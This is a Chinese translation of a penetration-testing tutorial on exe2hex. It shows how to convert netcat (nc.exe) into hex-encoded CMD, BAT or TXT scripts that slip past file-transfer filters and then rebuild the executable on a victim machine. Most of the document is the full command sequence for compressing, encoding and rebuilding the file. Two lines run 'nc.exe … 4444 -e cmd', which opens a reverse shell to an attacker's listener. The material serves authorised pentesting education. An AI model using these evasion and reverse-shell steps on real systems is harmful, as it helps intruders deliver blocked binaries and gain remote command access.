备注
作者: Harshit Rajpal
翻译:梦幻的彼岸
原文地址:https://www.hackingarticles.in/file-transfer-filter-bypass-exe2hex/
简介
Exe2hex是一个由g0tmilk开发的工具,可以在这里找到。该工具将EXE转录成一串十六进制字符串,这些字符串可以通过DEBUG.exe或Powershell还原成原始EXE文件。然后可以在受害者机器上执行这个脚本,再次构建一个EXE并执行它。这对于系统管理员阻止EXE文件的传输/下载/上传/电子邮件的高级渗透测试场景很有帮助。渗透测试人员可以使用这个工具绕过这些过滤器。在这篇文章中,我们展示了4种这样的方法。
目录
背景介绍
Exe2hex CMD脚本(PoSH方法)
Exe2hex URL编码的CMD脚本(PoSH方法)
Exe2hex BAT脚本(DEBUG.exe方法)
Exe2hex STDIN到CMD脚本(PoSH方法)
Exe2hex TXT文件(DEBUG和PoSH方法)
总结
背景介绍
DEBUG.exe是Windows中默认可用的可执行文件,帮助用户排除程序的故障。它还有一个功能,就是可以将一系列十六进制的字符串还原成一个可执行文件。通过Powershell也可以实现同样的功能。方法非常简单:
第1步:选择一个EXE
第2步:使用UPX对其进行压缩
第3步:使用exe2hex将其转换为一个包含十六进制字符串的文件
第4步:将该文件传输到受害者系统中
第5步:将文件还原为exe并执行
让我们从压缩一个exe文件开始。我们将使用一个名为UPX的工具。
正如你所看到的,有许多选项可以压缩一个文件。我们将使用-9过滤器,通常提供50%的压缩率。
upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe
注意:你可以通过使用exe2hex工具的-cc过滤器来实现同样的目的。
Exe2hex CMD脚本(PoSH方法)
现在我们的exe已经被压缩,我们可以使用exe2hex将其转换为cmd文件。这个cmd文件有多个十六进制的字符串,你可以在下面看到。已经创建了一个参数P,将这些转换后的十六进制字符串附加到一个名为 "nc.hex "的临时文件中。
exe2hex -x nc.exe -p nc.cmd
head nc.cmd
在文件的末尾,你可以看到一个Powershell命令,它正在将十六进制字符串恢复到exe文件中,并删除nc.hex。
tail -n 3 nc.cmd
Exe2hex URL编码的CMD脚本(PoSH方法)
我们在上面看到的可以重复使用。同样的脚本也可以用-e选项进行URL编码。
exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd
现在,我们可以将这个CMD文件转移到受害者系统,并使用命令提示符执行它。正如你可能观察到的,在执行完成后,会生成一个压缩后的nc.exe文件。
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd
Exe2hex BAT脚本(DEBUG.exe方法)
到目前为止,我们已经看到了如何使用Powershell将十六进制还原成exe文件。以同样的方式,DEBUG.exe文件也可以被使用。Exe2hex可以像这样生成一个bat文件:
exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat
之后,你可以在windows上运行bat脚本,它将创建一个exe文件。如果它向你抛出一个错误,你需要在环境变量中添加DEBUG.exe的路径。正如你所看到的,nc.exe现在已经成为一个可执行文件了。
Exe2hex STDIN到CMD脚本(PoSH方法)
该工具还可以接受来自STDIN的输入。这在互联网上有一个可执行文件,需要使用curl/wget等工具下载,并且有过滤器来阻止它的情况下可能很有用。
cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd
-s过滤器选项负责从STDIN读取。用这个选项生成的cmd文件看起来有点不同,因为生成的文件名称是 "binary.hex",而最终的exe文件是 "binary.exe"
它现在可以运行了!
Exe2hex TXT文件(DEBUG和PoSH方法)
我们把最好的留到最后。该工具还可以转换EXE文件的十六进制字符串txt文件。这对于有高级过滤器的情况非常有用。
exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt
还有一个过滤器是-l过滤器选项,它指定了每一行的字节数。
exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt
现在,可以使用命令提示符在受害者机器上轻松地重命名该文件,或将其复制为不同的扩展名(可运行的脚本),然后像下面这样运行:
copy nc.txt nc.cmd
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd
如果你尝试了上述的方法,你必须在你的kali机器上设置一个监听器,并尝试运行这个可执行文件。正如你所看到的,这个EXE文件已经正常工作了
总结
在渗透测试过程中,经历过许多场景,其中无论是代理还是WAF有一些文件的上传/下载过滤器。我们刚刚介绍了一种使用exe2hex绕过这些防御机制的方法。希望你喜欢这篇文章。谢谢你的阅读。
作者: Harshit Rajpal 是一名信息安全研究员和思想家,联系方式在这里
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-3-25 16:21
被梦幻的彼岸编辑
,原因: